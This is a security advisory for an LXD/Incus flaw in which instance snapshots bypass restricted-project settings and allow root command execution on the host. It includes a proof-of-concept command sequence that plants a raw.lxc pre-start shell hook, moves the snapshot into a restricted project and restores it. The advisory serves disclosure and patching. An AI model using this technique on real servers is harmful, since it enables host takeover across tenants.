GHSA-47w9-6r3f-938g json
LXD has restricted project bypass leading to arbitrary command execution
published 2026-11-06 2 d ago modified 2026-11-06 2 d ago
- cvss
- 9.9
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
### Summary
Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.
### Details
Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
### PoC
``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ```
### Impact
- Bypass of project restrictions. - Arbitrary command execution on the Incus server.
Patch / fix
- go github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/canonical/lxd | <0.0.0-20260630083100-c5184be310b1 |
0.0.0-20260630083100-c5184be310b1 |
Classification
- Weakness
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- CWE-862 Missing Authorization
References
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github.com
/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
web
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github.com
/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
web
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github.com
/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe
web
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github.com
/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19
web
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github.com
/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
web
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github.com
/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
web
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nvd.nist.gov
/vuln/detail/CVE-2026-48751
advisory
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github.com
/canonical/lxd
package
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github.com
/canonical/lxd/releases/tag/lxd-5.0.7
web
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github.com
/canonical/lxd/releases/tag/lxd-5.21.5
web
Sources
- GitHub Advisory GHSA-47w9-6r3f-938g
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